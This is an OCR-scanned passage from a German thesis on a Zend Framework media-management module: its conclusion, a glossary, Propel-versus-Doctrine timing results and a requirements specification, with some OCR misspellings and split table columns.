Im Allgemeinen wurden die verfolgten Ziele, die Anwendung hinsichtlich
verschiedenartiger Attakierungsmdoglichkeiten zu schitzen sowie diese hier
aufzuzeigen, erfillt. Letztlich ist eine Anwendung zur Verwaltung der Medien, hier
Grafiken, mit dynamischer Rechte und Benutzerverwaltung mit entsprechender
Administration im Backend entstanden, die sich nachtraglich als Modul in das
bestehende Projekt ,Termin und Veranstaltungsdatenbank® einfigen lasst. Der
Teil zur Benutzerverwaltung und Authentifizierung lasst sich auch in andere Zend-
Projekte integrieren, da er alle notigen Voraussetzungen erfillt die eine

aufwendige Rechteverwaltung in einem Projekt benétigen.
6.2 Ausblick

Die Anwendung bedarf, vor allem was das Layout und die Benutzerfreundlichkeit
angeht, noch verschiedener Optimierungen. Es konnten an vielen Stellen
beispielsweise Ajax-Technologien benutzt werden um dem Benutzer Uberflissige
Klicks in der Anwendung zu ersparen. Abgesehen davon das man damit auch

Uberflussige Datentransfers von Webserver zum Client vermeiden kénnte.

Was die Sicherheitskriterien betrifft, sind bisher die wichtigsten Techniken
umgesetzt was aber nicht heiRen muss das diese Anwendung vollstandig sicher
ist. Es gibt ferner weniger angewandte Angriffstechniken die hier noch nicht

beachtet wurden.
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Glossar

Blacklist

CRUD

DBAL

DQL

Hijacking

ORA
ORM

PDO

Snippet

SQL

SSL

TLS

Eine Liste von nicht erlaubten Daten oder Operationen, z.B. eine
Liste von fur eine Eingabevalidierung nicht erlaubter Zeichen.

Create Update und Delete, Grundfunktionen zur persistenten

Speicherung von Objekten
Database abstraction Layer, Schnittelle (API) zur Datenbank

Data Query Language, SQL-Abfragesprache ohne direkte Nutzung
von SQL-Querys

(engl. fur Entfihrung, Diebstahl, gewaltsame Ubernahme) bezeichnet
im Sprachgebrauch des Internets im Allgemeinen den Versuch einer
Ubernahme einer Internetdomane bzw. der Inhalte einer Doméane
oder eines Benutzerkontos (z. B. Mail, Ebay, Amazon, Facebook
etc.). Im Falle der mehr oder minder legalen Ubernahme eines

Domanennamens wird dies auch als Domaingrabbing bezeichnet.
Objektrelationale Abbildung;
Object Relational Mapping;

PHP Data Objects, Abstraktionsschicht fir den Datenbankzugriff mit
PHP;

ist ein Begriff der in Programmierung fir wiederverwendbare

Bereiche fir Quelltext, Maschinen Code oder Text darstellt.

ist eine Datenbanksprache zur Definition von Datenstrukturen in
Datenbanken. Weiterhin dient es zum Bearbeiten (Einfugen,
Verédndern, LoOschen) und Abfragen von darauf basierenden
Datenbestéanden

ist ein hybrides Verschlisselungsprotokoll —zur  sicheren

Datentbertragung im Internet.

Transport Layer Security (TLS), besser bekannt unter der
Vorgangerbezeichnung  Secure  Sockets  Layer (SSL), ist
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Whitelist

XML

YAML

Verschlisselungsprotokoll zur ~ sicheren  Datentbertragung im

Internet.

Eine Liste von erlaubten Daten oder Operationen, z.B. eine Liste von

fur eine Eingabevalidierung erlaubter Zeichen.

Extensible  Markup Language, Auszeichnungssprache  zur
Darstellung hierarchisch strukturierter Daten

YAML Ain't Markup Language, ist ein benutzerfreundlicher Daten-

Serializierungsstandard, ahnlich XML, fur alle Programmiersprachen
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Anhang

A. Testergebnisse zwischen Propel und Doctrine

Erzeugung neuer Datenséatze

Propel

Anzahl: 200
Testlaufe: 10

Von
1331996703.6219
1331996703.9373
1331996704.2693
1331996704.5986
1331996704.9542
1331996705.3291
1331996705.5991
1331996706.3624
1331996706.6461
1331996706.92
Durchschnitt:

Bis

Diff

1331996703.9373
1331996704.2692
1331996704.5986
1331996704.9542
1331996705.329
1331996705.599
1331996706.3623
1331996706.646
1331996706.9199
1331996707.2163
0.35939466953278 ms

0.31534600257874
0.33191299438477
0.3292977809906

0.35551881790161
0.37480902671814
0.26995587348938
0.76324701309204
0.28365111351013
0.27385807037354
0.29635000228882

Doctrine
Von Bis Diff
1332001722.1537 1332001726.5894 4.4357128143311

1332001726.5895
1332001736.5132
1332001752.452
1332001774.3363
1332001802.1221
1332001835.8313
1332001875.7831
1332001921.7841
1332001973.6917
Durchschnitt:

1332001736.5131
1332001752.452

1332001774.3363
1332001802.1221
1332001835.8312
1332001875.783

1332001921.7841
1332001973.6917
1332002034.6866

31.253245019913 ms

9.9236509799957
15.938834905624
21.884226083755
27.785744905472
33.709108829498
39.951712846756
46.001022100449
51.907542943954
60.994893789291
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Auslesen von Datensétzen

Propel

Anzahl:
Testlaufe: 10

Von Bis Diff
1332003160.3487 1332003160.5358 0.18705296516418
1332003160.5359 1332003160.6185 0.082658052444458
1332003160.6186 1332003160.7016 0.082994937896729
1332003160.7016 1332003160.7868 0.085187911987305
1332003160.7869 1332003160.8727 0.085831880569458
1332003160.8728 1332003160.956 0.083179950714111
1332003160.956 1332003161.0389 0.082849979400635
1332003161.0389 1332003161.1225 0.083620071411133
1332003161.1226 1332003161.2057 0.083067178726196
1332003161.2058 1332003161.2886 0.082855939865112
Durchschnitt: 0.093929886817932 ms

Doctrine

Von Bis Diff
1332002754.4532 1332002755.8002 1.3469839096069
1332002755.8002 1332002756.77 0.96973395347595
1332002756.77 1332002757.7419 0.97190499305725
1332002757.742 1332002758.7084 0.9664421081543
1332002758.7085 1332002759.677 0.96854996681213
1332002759.6771 1332002760.6543 0.97724795341492
1332002760.6544 1332002761.632 0.97757601737976
1332002761.632 1332002762.6061 0.97405099868774
1332002762.6062 1332002763.5704 0.96423888206482
1332002763.5705 1332002764.5436 0.97312211990356

Durchschnitt:

1.0089850902557 ms
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B. Pflichtenheft

Zielbestimmung

Die Software ,Veranstaltungsdatenbank® ist eine webbasierende Applikation, die
eine dezentrale Erfassung mit einer zentralen Datenhaltung verbindet. Sie bietet
Veranstaltern die Mdglichkeit, ihre Veranstaltungsdaten selbstandig zu erfassen,
zu pflegen und diese Daten in eigener Verantwortung fur andere Nutzer
freizugeben.  Registrierte  Websitebetreiber  dirfen  die  gespeicherten
Veranstaltungsdaten fir ihre eigene Website nutzen. Uber individuelle Filter
entscheiden sie, welche Daten auf ihrer Seite dargestellt werden.

Fur die Einbindung von Bild- und Videodateien ist es erforderlich, eine
Medienverwaltung aufzubauen und zu integrieren. Es soll moéglich sein,
unterschiedliche Formate hochzuladen, automatisch Vorschaubilder zu erstellen
und die erstellten Dateien zu verwalten. Uber die Rechteverwaltung der
Veranstaltungsdatenbank erhalten die Redaktionen und Nutzer die jeweiligen

Rechte zugewiesen.
Musskriterien

Existenz von drei Gruppen:
e Administrator
o Festlegen der Rechte in der Nutzerverwaltung;
o Definition der Grol3en fur Vorschaubild und vergréRerte Ansicht
e Benutzer
o Hochladen von ausgewéhlten Dateiformaten;
o Bearbeiten und Léschen von Bild- und Videodateien;
o Ansichten von Medien festzulegen (Listenansicht, Detailansicht);
o Maoglichkeit der Suche anhand ausgewahlter Kriterien;
o Detalillierte Beschreibungsmdglichkeit der Mediadaten;
e System
o Generieren von Vorschaubildern und vergroRerter Ansicht;
o Ermitteln von Dateityp, Datei- und BildgroR3e;
o Zweisprachigkeit unterstitzen;

e Sonstiges
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o Erweiterbarkeit des Systems weiterer europaischen Sprachen;

Wunschkriterien

¢ Einbindung von Bild zur bestimmte Veranstaltungen;

o Bildgroliendnderungsmadglichkeit bei der Anzeige;
Abgrenzungskriterien

e Eine vorher bestimmte Grof3e von Medien.
Produktibersicht

Als  Skriptsprache findet PHP in der Version 5.3 Anwendung, als
Datenbanksystem wird MySQL mit der Engine InnoDB genutzt. Umgesetzt wird
das Projekt mit dem ZendFramework. Fir die Erstellung und Bearbeitung von
Rastergrafiken soll ImageMagick verwendet werden, die Darstellung vergrofRerter
Ansichten erfolgt Gber jQuery und Fancybox.

Produkteinsatz
Anwendungsbereiche

Das Modul ,Medienverwaltung” soll sich in die Veranstaltungsdatenbank
integrieren lassen, wenn madglich aber auch als eigenstandige Applikation nutzbar
sein fur die Verwendung in weitere Projekten die Upload von Bilder und Videos in

einen Datenbank darunter haben.
Zielgruppen

Wird von Redakteure als Medienbearbeitungs- und Datenladewerkzeug
verwendet. Kann aber auch auf den anderen Webseiten als Modul verwendet
werden, die genau gleichen Ziele erfullt. Es werden Basiskenntnisse in

Internetnutzung vorausgesetzt.
Betriebsbedingungen

e Unbeaufsichtigter Betrieb von Server Seite;
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e Betriebsdauer: taglich, 24 Stunden;

e Wartungsfrei;

¢ Die Sicherung der Datenbank muss manuell vom Administrator durchgefiihrt

werden.
Produktumgebung
Software

e Client

o Internetbrowser der neuesten Generation: Internet Explorer 8 und

Mozilla 3.6.17 (keine textbasierten Browser)
o Server
e PHP (mind. Version 5.3.);
o MySQL-Datenbank;

Hardware

e Client:
o Internetfahiger Rechner;
e Server:
o Internetfahiger Server;
o Rechner, der die Anspriiche der 0.g. Server-Software erfullt;

o Ausreichend Rechen- und Festplattenkapazitat;
Orgware

e Gewahrleistung der permanenten Internetanbindung

60



Diskussion

Produktfunktionen

|
«systems A
Medienverwaltung Veranstaltungsdatenbank

«subsystems =]
Medien Verwaltung

= — /7 Bild
— Bild hochladen ~—_ &chy\

tension point N\ >\ (
‘ Bild in Datenbank (Bild in Datenbank %
hinzufigen hinzufiigen) enutzer
-~
«extend 3 Lr
> —
St b ¢ Bild bearbeiten )
(Bild in Ditenbank e sinclides
hinzu{ﬁgen) e DA G

88 > Bildansicht \
=- = /~ Bildansic
e T — ( Py
] /~ Vorschaubild ™ andern
\_ generieren

System

/Konstanten ™

‘
w Administrator

Systemeinstellungen

/FO010/ Grundeinrichtung: Administrator. Einbindung des Modules zur
Hauptsystem und dabei Einbindung einzelner Rollen des Hauptsystems mit Rollen

des Modules, den Datenbank anlegen und Konstanten festlegen.
Administrator

/F0110/ Anzeigen von Benutzer: Administrator. Listenansicht oder Detailansicht

der einzelne Benutzer.

/F0120/ Anzeigen von Rechte: Administrator. Informationen zur Rechten von

einzelnen Benutzern anzeigen.

/FO0130/ Benutzer sperren: Administrator. Alle Rechte von Benutzer sperren.
Benutzer

/F0210/ Bild hochladen: Bei dem Hochladungsprozess werden noch einzelne

Detailinformationen hinzugefugt.
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/[F0220/ Bild suchen Unter Listenansicht besteht Moéglichkeit bestimmtes Bild zu

suchen.

/F0230/ Bild bearbeiten Benutzer hat Mdglichkeit einzelne Details von Bild zu

andern.

/F0240/ Ansicht andern Benutzer kann Bilder unter detailliertes oder listen

Ansichten betrachten.

/[F0250/ Bild I6schen Unter Listenansicht kann Bild ausgewahlt und gel6éscht

werden.

Produktdaten

Es sollen mindestens folgende Daten dauerhaft gespeichert werden:

Dateiname

Titel

o Alternativer Text
e Beschreibung

e Dateityp

e Dateigro3e

o Bildgrolie

e Schlagwdrter

e Fotograf, Autor

e Copyright

e Vorschaubild klein

e Vergrollerte Ansicht
Zu prufen ist, ob die eigentlichen Bild- und Videodaten im Datenbank- oder im
Dateisystem abgelegt werden.

Produktleistungen

e Validierung

Eingaben werden auf ihre Richtigkeit hin Gberprift. Dateien werden auf Grund
ihres Dateityps und ihrer Dateigrof3e auf Zulassigkeit zum Upload geprift.
Fehlerhafte Dateien werden vom System erkannt und abgewiesen.
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e Akkumulation

Bei fehlererzeugenden Eingaben erhélt der Benutzer eine Auflistung aller Fehler

angezeigt.

e Toleranz

Bei fehlererzeugenden Eingaben muss der Benutzer die Mdglichkeit haben, eine

Korrektur seiner Eingabefelder vorzunehmen, ohne die wiederholt eingeben zu

mussen.
Benutzungsoberflache
Prototyp

Qualitatsbestimmungen

sehr wichtig wichtig weniger unwichtig
wichtig

Korrektheit ¥}

Zuverlassigkeit ¥}

Robustheit ¥

Effizienz ]

Benutzerfreundlichkeit ¥

Vertrauenswirdigkeit ¥

e Standards Einhaltung
Entwicklungsumgebung
Software

e FreeBSD;

e PHP 5.3;

e MySQL, InnoDB,;
e ImageMagick;

e ZendFramework;
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e jQuery;
e Slimbox;

Hardware

e Arbeitsrechner mit vorhandene Internetverbindung
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C. Vollstandiges Klassendiagramm der Anwendung
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